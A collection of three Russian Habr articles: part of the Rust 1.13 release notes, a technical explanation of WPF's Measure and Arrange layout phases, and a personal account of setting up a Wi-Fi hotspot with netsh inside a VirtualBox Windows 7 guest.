Как обычно, вы можете [установить Rust 1.13.0](https://www.rust-lang.org/install.html) с соответствующей страницы официального сайта, а также ознакомиться с [подробным списком изменений в 1.13.0](https://github.com/rust-lang/rust/blob/stable/RELEASES.md#version-1130-2016-11-10) на GitHub. В этот выпуск вошло 1448 патчей.
Это была по-настоящему горячая пора в Rust. Мы участвовали в трёх конференциях подряд — [RustConf](http://rustconf.com/), [RustFest](http://www.rustfest.eu/) и [Rust Belt Rust](http://www.rust-belt-rust.com/). Было классно увидеть так много любителей Rust; со многими мы встретились впервые! Мы много думали о будущем, разрабатывали [план на 2017](https://github.com/rust-lang/rfcs/pull/1774) и [создавали инструменты](https://internals.rust-lang.org/t/introducing-rust-language-server-source-release/4209), [нужные](https://internals.rust-lang.org/t/2016-rust-commercial-user-survey-results/4317) нашим пользователям.
И несмотря на всё это, мы собрали новый выпуск с кучей новых крутых фишек.
### Что вошло в стабильную версию 1.13
Выпуск 1.13 включает долгожданный оператор `?`, ускорение компиляции, добавление
некоторых возможностей в Cargo и стандартную библиотеку. Также этот выпуск привносит множество небольших улучшений в документацию и сообщения об ошибках. Это результат работы многих людей, и они не упоминаются в замечаниях к выпуску индивидуально.
Выпуск содержит важные исправления уязвимостей в Cargo. Он зависит от curl и OpenSSL,
а они оба недавно опубликовали обновления безопасности. Подробнее смотрите соответствующие анонсы [curl 7.51.0](https://curl.haxx.se/changes.html) и [OpenSSL 1.0.2j](https://www.openssl.org/news/secadv/20160922.txt).
#### Оператор `?`
Rust приобрёл новый оператор `?`. Он делает работу c ошибками значительно приятнее,
убирая визуальный шум. Например, у нас есть такой код для чтения данных из файла:
```
fn read_username_from_file() -> Result {
let f = File::open("username.txt");
let mut f = match f {
Ok(file) => file,
Err(e) => return Err(e),
};
let mut s = String::new();
match f.read\_to\_string(&mut s) {
Ok(\_) => Ok(s),
Err(e) => Err(e),
}
}
```
Код содержит два пути, которые могут завершиться ошибкой: открытие файла и чтение данных из него. Если в одном из них произойдёт сбой, нам нужно вернуть ошибку из функции `read_username_from_file`. Для этого нам приходится `match`ить результат операций ввода-вывода. Однако здесь мы просто пробрасываем ошибку по стеку вызовов, и использование `match` — это постоянно повторяющийся шаблонный код. Его трудно читать.
С `?` вышеприведённый код будет выглядеть так:
```
fn read_username_from_file() -> Result {
let mut f = File::open("username.txt")?;
let mut s = String::new();
f.read\_to\_string(&mut s)?;
Ok(s)
}
```
`?` яляется сокращением для целого выражения `match`, которое мы писали выше. Другими словами, `?` берёт `Result` и, если он `Ok`, разворачивает его и отдаёт вложенное значение. Если значение `Result` — `Err`, `?` возвращает управление из текущей функции. Это гораздо проще читать: вместо целого выражения мы используем символ "?". Так мы показываем, что обрабатываем ошибку стандартным способом, передавая её вверх по стеку.
Опытные программисты на Rust могуть отметить, что это то же самое, что и макрос `try!`,
доступный ещё с Rust `1.0`. Действительно, это то же самое. До 1.13 `read_username_from_file` могла быть реализована так:
```
fn read_username_from_file() -> Result {
let mut f = try!(File::open("username.txt"));
let mut s = String::new();
try!(f.read\_to\_string(&mut s));
Ok(s)
}
```
Так зачем же вносить расширения в язык, если у нас уже есть макрос? По разным причинам.
Во-первых, `try!` подтвердил свою исключительную полезность и часто используется в идиоматичном Rust. Он используется так часто, что заслуживает сладкого синтаксиса. Такого рода эволюция является одним из больших преимуществ мощной системы макросов: предполагаемые расширения синтаксиса языка могут быть прототипированы и протестированы без изменения самого языка. В свою очередь, макрос, превратившийся в исключительно полезный, может указывать на недостаток возможностей языка. Такая эволюция из `try!` в `?` — отличный тому пример.
Одна из причин, по которым `try!` нуждается в засахаривании — это то, что он довольно некрасив в случае многократного вызова в цепочке. Сравните:
```
try!(try!(try!(foo()).bar()).baz())
```
в противовес:
```
foo()?.bar()?.baz()?
```
Первый фрагмент достаточно сложно читать, и каждый слой обработки ошибок приписывает
в начало выражения вызов `try!`. Это требует чрезмерной концентрации внимания для тривиального проброса ошибок, и затмевает основной рабочий код — вызовы `foo`, `bar` и `baz`. Данный тип сцепления вызовов с обработкой ошибок характерен для ситуаций вроде шаблона проектирования `builder`.
Наконец, специализированный синтаксис облегчит вывод ошибок — мы сможем учесть использование `?`. А для кода из макросов сложно сделать хорошие ошибки. Однако в данном выпуске сообщения об ошибках использования `?` реализованы ещё не полностью.
Хотя это небольшое улучшение, по нашему опыту `?` — стоящее улучшение эргономики `try!`. Это хороший пример последовательного улучшения качества жизни, которые Rust будет получать и дальше.
Подробнее о `?` смотрите в [RFC 243](https://github.com/rust-lang/rfcs/blob/master/text/0243-trait-based-exception-handling.md).
#### Улучшение производительности
Мы серьёзно сосредоточились на производительности компилятора. У нас уже есть хорошие новости, но в будущих выпусках будет ещё лучше.
Mark Simulacrum и Nick Cameron оттачивали [perf.rust-lang.org](http://perf.rust-lang.org), наш инструмент для отслеживания производительности компилятора. Он регулярно запускает [rustc-benchmarks](https://github.com/rust-lang-nursery/rustc-benchmarks) на выделенном оборудовании и отслеживает изменения со временем. Этот инструмент записывает результаты каждого этапа компиляции и используется разработчиками, чтобы сузить диапазон поиска коммитов, приведших к деградации производительности. Это важная часть нашего инструментария!
Мы можем воспользоваться им, чтобы взглянуть на [график](https://goo.gl/6T69T2) производительности в период разработки 1.13 — с 16 августа по 29 сентября (график показан ниже). График начинается с 25 августа и отфильтрован по нескольким критериям — чтобы исключить недостоверные, неполные или противоречивые результаты. Можно заметить большие сокращения, которые количественно отражены на соответствующей странице [статистики](https://goo.gl/CLIAhi).
1 сентября произошло значительное улучшение — Niko включил [нормализованные проекции кеша при трансляции](https://github.com/rust-lang/rust/pull/35761). Это означает, что во время генерации LLVM IR компилятор больше не пересчитывает конкретные экземпляры ассоциированных типов в каждом месте их использования. Теперь он переиспользует ранее вычисленные значения. Эта оптимизация влияет не на любой код, но когда встречаются определённые типовые фрагменты, вы заметите разницу. Например, для [futures-rs](https://github.com/alexcrichton/futures-rs) время сборки отладочной версии [улучшилось на 40%](https://github.com/rust-lang/rust/pull/37600#issuecomment-258696690).
Другая подобная оптимизация реализована Michael Woerister. Она ускоряет компиляцию контейнеров, которые экспортируют множество [встраиваемых](https://github.com/rust-lang/rust/pull/36524) функций. Если функция помечена как `#[inline]`, компилятор сохраняет её представление в MIR в rlib — помимо обычной трансляции для использования в текущем контейнере. Затем он транслирует её в каждом контейнере, который вызывает данную функцию. В ретроспективе, Michael сделал очевидную оптимизацию: в некоторых случаях встраиваемые функции предназначены только для других контейнеров, так что компилятор не должен транслировать их в контейнере, где они объявлены. Разумеется, кроме случая, когда они там вызываются. Это экономит время на преобразование функции в LLVM IR и её обработку LLVM: оптимизацию и кодогенерацию.
В некоторых случаях это даёт впечатляющие результаты. Время сборки ndarray [улучшилось на 50%](https://github.com/rust-lang/rust/pull/37600#issuecomment-258706020), а для (неопубликованного) [winapi 0.3](https://github.com/retep998/winapi-rs), rustc теперь не производит машинный код совсем.
Но подождите, это ещё не всё! Nick Nethercote также [обратил своё внимание на производительность компилятора](https://blog.mozilla.org/nnethercote/2016/10/14/how-to-speed-up-the-rust-compiler), сконцентрировавшись на профилировнии и микрооптимизациях. Данный выпуск уже включает в себя [некоторые плоды его трудов](https://github.com/rust-lang/rust/blob/stable/RELEASES.md#compile-time-optimizations), другие запланированы на 1.14.
Подробнее смотрите замечания к [выпуску](https://github.com/rust-lang/rust/blob/stable/RELEASES.md#version-1130-2016-11-10).
### Другие заметные изменения
Выпуск содержит важные исправления уязвимостей в Cargo. Он зависит от curl и OpenSSL, а они оба недавно опубликовали обновления безопасности. Подробнее смотрите соответствующие анонсы [curl 7.51.0](https://curl.haxx.se/changes.html) и [OpenSSL 1.0.2j](https://www.openssl.org/news/secadv/20160922.txt).
Теперь вы можете использовать макросы на месте типа ([RFC 873](https://github.com/rust-lang/rfcs/blob/master/text/0873-type-macros.md)) и применять атрибуты к операторам ([RFC 16](https://github.com/rust-lang/rfcs/blob/master/text/0016-more-attributes.md)):
```
// Используем макрос, чтобы назвать тип
macro_rules! Tuple {
{ $A:ty,$B:ty } => { ($A, $B) }
}
let x: Tuple!(i32, i32) = (1, 2);
```
```
// Применяем атрибут статического анализа к единственному оператору
#[allow(uppercase_variable)]
let BAD_STYLE = List::new();
```
Встроенные флаги сброса (*англ.* inline drop flags) удалены. Раньше компилятор хранил "флаг сброса" в структурах, чтобы понимать, исполнять ли деструктор, когда структуры перемещались в некоторых путях исполнения. Это увеличивало размер структур, что мешало передаче типов с деструкторами через границу FFI. Для кода, который не перемещает структуры только в части путей исполнения, эта память тратилась впустую. В 1.12 MIR стал [транслятором по умолчанию](https://blog.rust-lang.org/2016/09/29/Rust-1.12.html) — это было фундаментом многих улучшений, включая [удаление этих встроенных флагов сброса](https://github.com/rust-lang/rust/pull/35764). Теперь флаги сброса лежат в стеке тех функций, которым они нужны.
В 1.13 есть [серьёзный баг в кодогенерации для ARM](https://github.com/rust-lang/rust/issues/37630) с аппаратной реализацией чисел с плавающей точкой. Это большинство платформ на базе ARM. На данный момент ARM — это платформа 2 уровня поддержки, поэтому этот баг не блокирует выпуск. Поскольку 1.13 содержит исправление безопасности, мы рекомендуем пользователям ARM использовать бета-версии 1.14. Эта ветка скоро получит исправление данной проблемы.
#### Стабилизация языковых возможностей
* Типаж [`Reflect`](https://doc.rust-lang.org/std/marker/trait.Reflect.html) объявлен устаревшим. Смотрите [объяснение](https://github.com/rust-lang/rust/issues/27749#issuecomment-244489589) того, что это значит для параметричности (parametricity) в Rust.
* [Стабилизированы макросы на месте типа](https://github.com/rust-lang/rust/pull/36014). [RFC 873](https://github.com/rust-lang/rfcs/blob/master/text/0873-type-macros.md).
* [Стабилизированы атрибуты на операторах](https://github.com/rust-lang/rust/pull/36995). [RFC 16](https://github.com/rust-lang/rfcs/blob/master/text/0016-more-attributes.md).
#### Стабилизация библиотек
* [`checked_abs`](https://doc.rust-lang.org/std/primitive.i32.html#method.checked_abs), [`wrapping_abs`](https://doc.rust-lang.org/std/primitive.i32.html#method.wrapping_abs) и [`overflowing_abs`](https://doc.rust-lang.org/std/primitive.i32.html#method.overflowing_abs)
* [`RefCell::try_borrow`](https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow) и [`RefCell::try_borrow_mut`](https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut)
* [`Добавлены assert_ne!` и `debug_assert_ne!`](https://github.com/rust-lang/rust/pull/35074)
* [`Реализован AsRef<[T]>` для `std::slice::Iter`](https://github.com/rust-lang/rust/pull/35559)
* [`Реализован CoerceUnsized` для `{Cell, RefCell, UnsafeCell}`](https://github.com/rust-lang/rust/pull/35627)
* [`Реализован Debug` для `std::path::{Components,Iter}`](https://github.com/rust-lang/rust/pull/36101)
* [`Реализованы типажи преобразования для char`](https://github.com/rust-lang/rust/pull/35755)
* [`SipHasher`](https://doc.rust-lang.org/std/hash/struct.SipHasher.html) устарел. Используйте [`DefaultHasher`](https://doc.rust-lang.org/std/collections/hash_map/struct.DefaultHasher.html).
* [`Реализовано больше типажей для std::io::ErrorKind`](https://github.com/rust-lang/rust/pull/35911)
#### Возможности Cargo
* [`cargo: В cargo добавлен флаг --all-features`](https://github.com/rust-lang/cargo/pull/3038)
* [`cargo: Добавлен флаг --message-format`](https://github.com/rust-lang/cargo/pull/3000)
Подробнее смотрите замечания к [выпуску](https://github.com/rust-lang/rust/blob/stable/RELEASES.md#version-1130-2016-11-10).
### Разработчики версии 1.13.0
155 человек внесли свой вклад в 1.13.0. Большое вам спасибо!
**Список участников*** Aaron Gallagher
* Abhishek Kumar
* aclarry
* Adam Medziński
* Ahmed Charles
* Aleksey Kladov
* Alexander von Gluck IV
* Alexandre Oliveira
* Alex Burka
* Alex Crichton
* Amanieu d'Antras
* Amit Levy
* Andrea Corradi
* Andre Bogus
* Andrew Cann
* Andrew Cantino
* Andrew Lygin
* Andrew Paseltiner
* Andy Russell
* Ariel Ben-Yehuda
* arthurprs
* Ashley Williams
* athulappadan
* Austin Hicks
* bors
* Brian Anderson
* c4rlo
* Caleb Jones
* CensoredUsername
* cgswords
* changchun.fan
* Chiu-Hsiang Hsu
* Chris Stankus
* Christopher Serr
* Chris Wong
* clementmiao
* Cobrand
* Corey Farwell
* Cristi Cobzarenco
* crypto-universe
* dangcheng
* Daniele Baracchi
* DarkEld3r
* David Tolnay
* Dustin Bensing
* Eduard Burtescu
* Eduard-Mihai Burtescu
* Eitan Adler
* Erik Uggeldahl
* Esteban Küber
* Eugene Bulkin
* Eugene R Gonzalez
* Fabian Zaiser
* Federico Ravasio
* Felix S. Klock II
* Florian Gilcher
* Gavin Baker
* Georg Brandl
* ggomez
* Gianni Ciccarelli
* Guillaume Gomez
* Jacob
* jacobpadkins
* Jake Goldsborough
* Jake Goulding
* Jakob Demler
* James Duley
* James Miller
* Jared Roesch
* Jared Wyles
* Jeffrey Seyfried
* JessRudder
* Joe Neeman
* Johannes Löthberg
* John Firebaugh
* johnthagen
* Jonas Schievink
* Jonathan Turner
* Jorge Aparicio
* Joseph Dunne
* Josh Triplett
* Justin LeFebvre
* Keegan McAllister
* Keith Yeung
* Keunhong Lee
* king6cong
* Knight
* knight42
* Kylo Ginsberg
* Liigo
* Manish Goregaokar
* Mark-Simulacrum
* Matthew Piziak
* Matt Ickstadt
* mcarton
* Michael Layne
* Michael Woerister
* Mikhail Modin
* Mohit Agarwal
* Nazım Can Altınova
* Neil Williams
* Nicholas Nethercote
* Nick Cameron
* Nick Platt
* Niels Sascha Reedijk
* Nikita Baksalyar
* Niko Matsakis
* Oliver Middleton
* Oliver Schneider
* orbea
* Panashe M. Fundira
* Patrick Walton
* Paul Fanelli
* philipp
* Phil Ruffwind
* Piotr Jawniak
* pliniker
* QuietMisdreavus
* Rahul Sharma
* Richard Janis Goldschmidt
* Scott A Carr
* Scott Olson
* Sean McArthur
* Sebastian Ullrich
* Sébastien Marie
* Seo Sanghyeon
* Sergio Benitez
* Shyam Sundar B
* silenuss
* Simonas Kazlauskas
* Simon Sapin
* Srinivas Reddy Thatiparthy
* Stefan Schindler
* Stephan Hügel
* Steve Klabnik
* Steven Allen
* Steven Fackler
* Terry Sun
* Thomas Garcia
* Tim Neumann
* Tobias Bucher
* Tomasz Miąsko
* trixnz
* Tshepang Lekhonkhobe
* Ulrich Weigand
* Ulrik Sverdrup
* Vadim Chugunov
* Vadim Petrochenkov
* Vanja Cosic
* Vincent Esche
* Wesley Wiser
* William Lee
* Ximin Luo
* Yossi Konstantinovsky
* zjhmale | https://habr.com/ru/post/315192/ | null | ru | null |
# WPF layout: Measure и Arrange
Общее представление о том, что такое WPF Layout System, можно получить из msdn ([1](http://msdn.microsoft.com/en-us/library/ms745058.aspx), [2](http://msdn.microsoft.com/en-us/library/ms748373.aspx)). Там написано, что элементы управления образуют Visual-дерево, что каждый из элементов управления имеет свой определенный прямоугольник, в рамках которого он отрисовывается, что определение этих прямоугольников возлагается на Layout System и выполняется в 2 этапа (measure и arrange) и что WPF — это retained mode graphic system, в отличие от обычных Immediate и в чем преимущества такого подхода.
Однако при чтении msdn возникает ряд вопросов, на которые в документации ответов нет, и можно только догадываться о том, что происходит. Например — что произойдет, если какой-либо дочерний контрол в measure-стадии запросит для себя размер, превышающий переданный ему availableSize? Или — как при необходимости реализовать методы *MeasureOverride* и *ArrangeOverride* правильно, чтобы написанный код не противоречил принятым соглашениям о том, как должны выполняться этапы *Measure* и *Arrange* ? Влияет ли результат, полученный на этапе *Measure*, на этап *Arrange* и отрисовку, или же на отрисовку влияет только вызов *Arrange*, а *Measure* — чисто информационный этап?
Попробуем разобраться более детально в том, что происходит за кулисами.
##### Retained mode system
Для начала вспомним, что такое [retained mode graphic system](http://en.wikipedia.org/wiki/Retained_mode), коей является WPF. Это просто подход к прорисовке графики, при котором ответственность за определение областей, требующих перерисовки и выполнение этой перерисовки передается графической системе. То есть именно WPF является ответственной за то, чтобы каждое окно и контрол при необходимости были перерисованы. Программист уже не парится по поводу обработки событий типа *WM\_PAINT*, как это было в Win32 API и WindowsForms, а просто задает при необходимости способ отрисовки для контрола, а WPF сама определит, когда и какой кусочек нужно ревалидировать. Программно это выглядит следующим образом: вместо того, чтобы **каждый раз** по приходу сообщения *WM\_PAINT* определять регионы, которые нужно перерисовать, и выполнять эту процедуру, программист **единожды** указывает последовательность команд, необходимых для прорисовки контрола. Это делается в методе *OnRender*. Метод *OnRender* вызывается системой WPF:
* Eсли еще неизвестно, как отрисовывать этот контрол
* Eсли изменилось какое-то *DependencyProperty* с флагом *FrameworkPropertyMetadataOptions.AffectsRender* (например, *Button.Content*) или с другими флагами, которые неявно приводят к *AffectsRender*
* Eсли контрол был явно помечен для ревалидации (вызовом *InvalidateMeasure*, *InvalidateArrange* или *InvalidateVisual*)
Метод *OnRender* вызывается с аргументом *DrawingContext*, у которого мы дергаем якобы отрисовывающие методы типа *DrawEllipse* итд. Якобы — потому, что на самом деле отрисовки не происходит, а все наши вызовы складываются в очередь команд, и будут использованы тогда, когда WPF решит, что контрол нужно перерисовать.
Собственно здесь лежит ответ на частый вопрос — вот допустим у нас есть кнопка, на которой что-то написано, мы меняем текст этой кнопки — но в какой момент и как она определяет, что нужно перепозиционировать себя и перерисовать? Ведь мы только поменяли значение свойства. А происходит следующее: текст кнопки влияет на рендеринг, и помечен соответствующим флагом, поэтому изменение значения этого свойства приводит к тому, что кнопка помечается как «грязная», то есть та, которая требует перерисовки. И вскоре после этого WPF выполнит обновление рендеринга для неё. Это случится не сразу, а только тогда, когда у WPF будет время для этого. То есть если сразу после замены получить *RenderSize*, то оно не изменится. Но если вызвать принудительное обновление разметки методом *UpdateLayout()*, то *RenderSize* станет тем, который соответствует измененному тексту. Собственно с этим механизмом, кстати, связан и приоритет *Dispatcher.Invoke* — среди доступных приоритетов есть *Priority.Render*, что означает, что при вызове делегата с этим приоритетом он будет исполняться наравне с процедурами, выполняемыми для рендеринга элементов.
##### Measuring
Почему это так важно? Потому что этапы *Measure* и *Arrange*, в рамках которых происходит позиционирование элементов, работают аналогичным образом. Они вызываются однократно, и у контрола выставляются флаги **MeasureIsValid** и **ArrangeIsValid**. После этого вызовы *Measure* и *Arrange* возвращают управление сразу, ничего не делая. Для того, чтобы заставить контрол пересчитать эти вещи, нужно опять же либо изменить какое-то *DependencyProperty* с флагом **AffectsMeasure/AffectsArrange**, либо явно сбросить флаги вызовом InvalidateMeasure/InvalidateArrange. Документация также говорит о том, что ревалидация *Measure* автоматом влечет за собой ревалидацию *Arrange*, впрочем, это и так достаточно очевидно. В общем, первый вывод таков: если в вашем контроле есть некое свойство, которое при изменении может изменить размеры и/или размещение дочерних контролов, то вы должны сделать его *DependencyProperty* и поставить флаг *AffectsMeasure/AffectsArrange*. Если же не всякое изменение значения этого свойства проводит к необходимости ревалидации контрола, то лучше этого не делать, а сделать *DependencyProperty* с заданным *valueChangedCallback*, в котором при необходимости вызывать **InvalidateMeasure/InvalidateArrange** вручную, чтобы не нагружать WPF излишней работой.
Теперь рассмотрим эти два метода с точки зрения программного дизайна. То есть — каковы их зоны ответственности и входные/выходные данные. Это, наверное, самое важное в понимании того, как работает WPF Layout System. Мне лично потребовалось немало времени для того, чтобы вкурить в эту тему. Пришлось даже покопаться в исходниках WPF, благо они доступны.
##### Measure и Arrange
Документация к *Measure* написана таким образом, что создается впечатление, будто бы это чисто информационный этап, и на отображение влиять не должен. Вроде бы все логично — родительский контрол опрашивает дочерние, узнает у них, сколько они хотели бы занимать места, ну и решает конкретно кому сколько пространства отрезать, и вызывает *Arrange*. В общем-то, на уровне PresentationCore так оно и есть (там UIElement содержит пустые виртуальные методы MeasureCore и ArrangeCore), но нас скорее всего интересует более конкретное поведение, поведение FrameworkElement и его наследников, а FrameworkElement определен у нас уже в сборке PresentationFramework.
Постараюсь сформулировать настолько четко и корректно, насколько смогу это сделать. Если будут неточности и ошибки, поправляйте, внесу изменения.
**public void Measure(Size availableSize)** — метод, который по заданному availableSize определяет желаемые размеры и выставляет их в this.DesiredSize. В описании к методу написано, что результирующий DesiredSize может быть > availableSize, но для наследников FrameworkElement это не так.
Суть метода *[Measure](http://msdn.microsoft.com/en-us/library/system.windows.uielement.measure.aspx)* — сделать следующие вещи:
1. Вызвать рекурсивно *Measure* для всех VisualChild-элементов (в противном случае флаг IsMeasureValid у них не будет выставлен и дочерний элемент не сможет быть отрисован). Хотя бы один раз *Measure* должен быть вызван. *Measure* может быть вызван неоднократно (например, сначала можно вызвать *Measure* с аргументом *Size=double.PositiveInfinity*, чтобы определить полный размер контрола), причем **последний вызов** *Measure* должен быть выполнен с теми размерами, которые **реально** будут использованы для отрисовки этого дочернего контрола.
2. Подготовить состояние контрола к тому, чтобы он уместился в отведенные размеры availableSize. Это и есть причина того, что последний вызов *Measure* должен определять реальные размеры элемента. Причина — потому что если контрол выставит в *DesiredSize* значение, превышающее availableSize, то ячейка грида с фиксированными размерами не будет знать, что ей делать. Вроде бы она имеет фиксированные размеры, ан нет — дочерний элемент стучит кулаком по столу и хочет больше! Поэтому фраза документации о том, что availableSize является 'soft constraint' строго говоря неверна в контексте *FrameworkElement*.
Второй пункт очень важен. Действительно, в *Measure*-фазе и происходит подготовка к рисованию. Например, листбокс при вызове *Measure*, если понимает, что не помещается в размеры, определяет, что появится скроллбар. И при вызове *[Arrange](http://msdn.microsoft.com/en-us/library/system.windows.uielement.arrange.aspx)* с бОльшими размерами скроллбар все равно останется. А если наоборот, *Measure* был выполнен с *PositiveInfinity*, а *Arrange* — с реальными размерами, все что выйдет за пределы arrangeRect — просто обрежется.
Кстати а почему именно *FrameworkElement* ? На нем свет сошелся? Оказывается, действительно сошелся, и *FrameworkElement* переопределяет *UIElement.MeasureCore* и *UIElement.ArrangeCore* с модификатором sealed, то есть все наследники FrameworkElement (все контролы, окна итд) уже при всем желании поведение MeasureCore и ArrangeCore поменять не смогут. Они смогут только оставлять пожелания — для этого и сделаны методы MeasureOverride и ArrangeOverride. И вот в *MeasureOverride* availableSize действительно является soft constraint, и можно вполне легально вернуть значение, превышающее значение аргумента.
**public void Arrange(Rect finalRect)** — просто указывает контролу его место (x, y) и размеры прямоугольника. Все, что выйдет за эти пределы — будет обрезано.
Между *Measure* и *Arrange* существует следующая взаимосвязь — в идеале последний вызов *Measure* должен принимать Size, совпадающий с размером при последующем вызове *Arrange*. Если это так, то контрол будет отрисован идеально. Если же условие не выполняется, то возможны проблемы. То есть возможно, что все отрисуется корректно, а может быть и не совсем. Например, листбокс в этой ситуации (когда arrangeSize < measureSize) справа сдвигается наура (скроллбар сползает влево вместе с границами, а не обрезается), а снизу — обрезается.
Теперь осталось рассмотреть методы *[MeasureOverride](http://msdn.microsoft.com/en-us/library/system.windows.frameworkelement.measureoverride.aspx)* и *[ArrangeOverride](http://msdn.microsoft.com/en-us/library/system.windows.frameworkelement.arrangeoverride.aspx)*.
##### MeasureOverride и ArrangeOverride
**protected virtual Size MeasureOverride(Size availableSize)** спроектирован для того, чтобы дать возможность разработчикам сделать свои панели для контролов со своей логикой размещения. Обычно алгоритм *MeasureOverride* должен выполнить следующие шаги:
1. Оценить полный размер детей — рекурсивным вызовом *Measure* с параметрами Size.Width и *Size.Height = double.PositiveInfinity*
2. Оценить свой собственный полный размер с учетом размеров детей
3. Если влезаем в availableSize, то возвращаем значение собственного полного размера
4. В противном случае нам возможно понадобиться повторно вызвать *Measure* у детей, но уже не с PositiveInfinity а с конкретными значениями, чтобы уложиться в отведенные нам availableSize. Конкретная реализация этого этапа зависит от логики размещения, которую мы хотим имплементировать.
5. Возвращаем availableSize в качестве *DesiredSize*, если получилось уложиться в availableSize, ну или минимальное значение, превышающее availableSize, которое позволит нашему контролу быть отрендеренным целиком
**protected virtual Size ArrangeOverride(Size finalSize)** — а здесь мы просто вызываем для каждого дочернего элемента метод Arrange с соответствующими границами и положением.
Заметьте — в *MeasureOverride* **можно** вернуть значение, превышающее availableSize! Но если это сделать и проверить DesiredSize контрола — то мы будем удивлены тем, что *DesiredSize* = availableSize. То есть кто-то проигнорировал наш результат и записал туда значение аргумента *Measure*. Однако при дальнейшем вызове *ArrangeOverride* в качестве аргумента нам волшебным образом снова попадает наше значение, которое мы вернули из *MeasureOverride*.
Что происходит? А происходит вот что.
Если вызывается *FrameworkElement.Measure* с небесконечными констрейнтами, то вне зависимости от того, что вернет наш *MeasureOverride, FrameworkElement.MeasureCore* обрежет его и установит *DesiredSize* <= availableSize. А наш DesiredSize закеширует у себя, впоследствии передав нам его в ArrangeOverride. Это происходит потому что FrameworkElement гарантирует, что при вызове Measure он **уместится** в отведенный ему кусочек, даже если ему придется обрезать наш контент.
В противном случае было бы так, что ячейки грида с конкретными значениями width/height разъезжались бы на контролах, возвращающих *DesiredSize* > availableSize. А так получается что *FrameworkElement* сохраняет у себя реальные требования к DesiredSize, а когда приходит время *Arrange*, вызывает наш метод *ArrangeOverride* с тем значением *DesiredSize*, которое мы вернули в *MeasureOverride*. И мы в ArrangeOverride располагаем дочерние элементы так, как мы хотим.
После этого *FrameworkElement.ArrangeCore*, в контексте которого вызывается наш *ArrangeOverride*, выполняет клипинг нашего содержимого, и мы видим в гриде **часть** нашего контрола. А какую именно часть — зависит от свойств *Horizontal/VerticalAlignment* и др. Но контент виртуально прорисован целиком так как мы хотели — потому что *DesiredSize* наш был сохранен и передан в *ArrangeOverride*.
И нам при реализации наследников *FrameworkElement* не надо париться насчет клипинга в таких ситуациях — он все сделает за нас. А если нам нужна панель, которая обрабатывает *DesiredSize* > availableSize, то мы либо что-то неправильно делаем, либо нам придется спускаться на уровень ниже к *UIElement*'у, который не финализирует (seal) *MeasureCore* и *ArrangeCore*.
Для проверки всего этого можно создать наследника *Button* и возвращать в *MeasureOverride* фиксированный размер, а кнопку поместить в ячейку грида с меньшими размерами (скажем, 50х50). Кнопка будет обрезана.
`protected override Size MeasureOverride(Size constraint) {
return new Size(80, 80);
}`
Эта особенность описана в [http://social.msdn.microsoft.com/](http://social.msdn.microsoft.com/Forums/hu-HU/wpf/thread/fc6a74a5-be66-41c0-9178-984de29834ec)
В завершение хотелось бы привести [код](https://gist.github.com/1591233) к некоторым методам из исходников WPF (классы UIElement и FrameworkElement), относящимся к рассмотренному материалу. Куски с комментариями, достаточно подробно излагающими суть.
Целиком же исходники WPF можно скачать [отсюда](http://referencesource.microsoft.com/netframework.aspx) (качать .Net — 4).
UPD: [afsherman](https://habrahabr.ru/users/afsherman/) подсказывает, что исходники WPF качать необязательно. У кого установлен ReSharper могут воспользоваться встроенной в него опцией загрузки исходников по Ctrl+Click на имени класса/метода/свойства и т.д. | https://habr.com/ru/post/135990/ | null | ru | null |
# Как я Hot-Spot делал через Virtual Box
Доброго времени суток, уважаемые читатели Habrahabr. Сегодня я вам расскажу, как я через окольные пути(в виде VirtualBox) делал Hot-Spot.
Немного теории
--------------
Hot-Spot – технология, позволяющая из устройства, имеющее Wi-Fi адаптер сделать Wi-Fi точку.
Oracle Virtual Box – программа, позволяющая создавать виртуальные машины с любыми характеристиками под известные операционные системы.
Предыстория
-----------
Как – то раз, заскучав на одной паре в компьютерном классе, в мою голову пришла мысль, что ведь можно притащить из дома USB Wi-Fi адаптер и сделать Wi-Fi(в кабинете не было его). Естественно, я забыл о том, что я не из под админа сижу, и придя через неделю на пару, я осознал все горькость разочарования. Но я не сдался и начал думать, что делать дальше.
Три пути
--------
Я такой человек, что если я взялся за дело, которое меня интересует, я буду решать это до тех пор, пока либо не решу проблему, либо смогу быть уверенным на 100%, что проблема нерешаема в данный момент времени. У меня было три варианта действий:
* Плюнуть на все это и слушать дальше то, что нам рассказывают. Этот вариант не проходил, по причине вышеописанного.
* Попробовать сбросить пароль админа и сделать по — быстрому все грязные делишки. Этот вариант тоже не подходил, из-за того, что такие действия могли привлечь лишнее внимание и получить по – первое число.
* Запустить Virtual Box, загрузить образ Win7/8/10 и шаманить уже внутри него. Это был единственный вариант, и я начал решать проблему с помощью этого способа.
Настоящий герой не ищет легких путей
------------------------------------
В VirtualBox были доступны несколько машин с такими операционными системами:
— Ubuntu;
— WinXP;
— Win7.
Угадайте, что я первым выбрал? WinXP. Если бы я только знал…
Первым делом, я настроил две(!) сети. Одна через проводной интернет, другая через Wi-Fi адаптер(это уже была первая ошибка). Поставил драйвера в виртуальной машине, запускаю мастер по установке беспроводных сетей, устанавливаю имя и пароль, выбираю ручной способ установки сети на других устройствах и ошибка!
> «В зависимости от программного обеспечения для беспроводной сети, запущенного на компьютере, мастер беспроводной сети может не работать. Подробные сведения находятся в статье 871122 базы знаний Майкрософт.»
Это меня огорчило, я плюнул на старую XP и пошел в Ubuntu, где я собственно, тоже не нашел своего счастья, ибо он даже адаптер не видел.
Windows XP умерла, да здравствует Windows 7!
--------------------------------------------
Моим последним шансом получить Hot-Spot оставалась Windows 7. К тому моменту, я осознал, что адаптер надо было подключить как USB, а не как сеть, поэтому я сначала проверил в XP(ситуация не изменилась), а затем пошел покорять просторы семерки. Windows 7 увидела мой Wi-Fi адаптер(кстати, это Asus WL-167G V3). Я спокойно скачал драйвера, начинаю ставить их, и тут опять облом! Код 10!
Тут я понял, что здесь мне уже ловить явно нечего, и надо домой ехать и все это дома проверять. Дома, я решил попробовать запустить не через USB 1.0, а через вторую версию (предварительно поставив extension pack) и о чудо, заработало! Запустив командную строку, я запустил командную строку от админа, ввела первую команду:
```
netsh wlan set hostednetwork mode=allow ssid="user” key="password" keyUsage=persistent
```
Где ssid =”user” – название сети, key = “password” — пароль, mode = allow – разрешение на режим размещения сети и keyUsage = persistent — определяет, что пароль будет сохранен и его не придется указывать каждый раз, когда надо будет запустить виртуальную сеть.
Запускаем нашу точку:
`netsh wlan start hostednetwork`
